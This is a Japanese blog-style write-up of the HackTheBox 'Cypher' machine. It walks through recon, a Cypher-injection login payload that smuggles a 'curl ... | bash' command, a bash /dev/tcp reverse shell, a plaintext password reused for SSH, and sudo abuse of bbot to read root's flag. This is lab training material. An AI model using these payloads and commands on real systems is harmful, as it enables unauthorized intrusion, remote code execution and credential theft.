🌟

[HackTheBox] Cypher-writeup

に公開

はじめに

本記事はHackTheBoxのMachine-Cypherのwriteuoになります

  • Linux
  • Medium

recon

nmapで空いているポートを見つけます

┌──(notthei㉿kali)-[~]
└─$ nmap -sV -T4 10.10.11.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 11:10 JST
Nmap scan report for 10.10.11.57
Host is up (1.4s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22 ssh
  • 80 http

gobusterでディレクトリの列挙をします。

┌──(notthei㉿kali)-[~]
└─$ gobuster dir -u http://cypher.htb -w /usr/share/wordlists/dirb/common.txt

/about                (Status: 200) [Size: 4986]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/index.html           (Status: 200) [Size: 4562]
/login                (Status: 200) [Size: 3671]
/testing              (Status: 200)

image.png
怪しい.jarファイルがありました。
jar内ではcustomfunctionというclassがありURLを直接連結し、/bin/shで実行していることがわかりました。

cypher.htb

webブラウザで80番にアクセスするとcypher.htbに飛んだので/etc/hostsに追加をします。

image.png

SQLiを試したらエラーが出ました

image.png
エラーの内容からneo4jというユーザを発見しました。

h.valueを最初に返してあげないとエラーが出るらしいです。

さっきのcustomfunction内のgetUrlStatusCodeを使用して攻撃者内のshを経由しRCEが取れそうなので書いてみます。

{
"username":"admin'return h.value AS value  UNION CALL custom.getUrlStatusCode(\"127.0.0.1;curl 10.10.16.4:4545/test.sh|bash;\") YIELD statusCode AS value  RETURN value ; --",
"password":"admin"
}

shファイルにRCE用のコードを作成します。

test.sh
# !/bin/sh
/bin/bash -i >& /dev/tcp/10.10.xx.xx/port 0>&1
┌──(notthei㉿kali)-[~]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.57 - - [11/Jul/2025 12:20:05] "GET /test.sh HTTP/1.1" 200 -

ここでburpからSQLiを実行します。

┌──(notthei㉿kali)-[~]
└─$ nc -lvnp 4545
listening on [any] 4545 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.57] 60768
bash: cannot set terminal process group (1412): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ 

neo4jに侵入できました

userflag

user.txtは権限でれませんでしたが、ymlファイルは見れました。
そこにpasswordが書かれていました。

neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
適当にgraphasmにsshで接続を試したら接続に成功しましたw

graphasm@cypher:~$ cat user.txt
3fd4a2dac12bcce456bbf5b80fe8448f

rootflag

怪しいファイルを探します。

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

/usr/local/bin/bbot

https://github.com/blacklanternsecurity/bbot

どうやらOSINT用のツールらしいです。
--debugでトレースできたので、/root/root.txtが取れそうです。

graphasm@cypher:/usr/local/bin$ cat bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

graphasm@cypher:/usr/local/bin$ sudo bbot -cy  /root/root.txt --debug

  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot
/*
 中略
*/
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: 5eda26eab7d882f618cc68ff32258eab

root.txtが取れました。

Discussion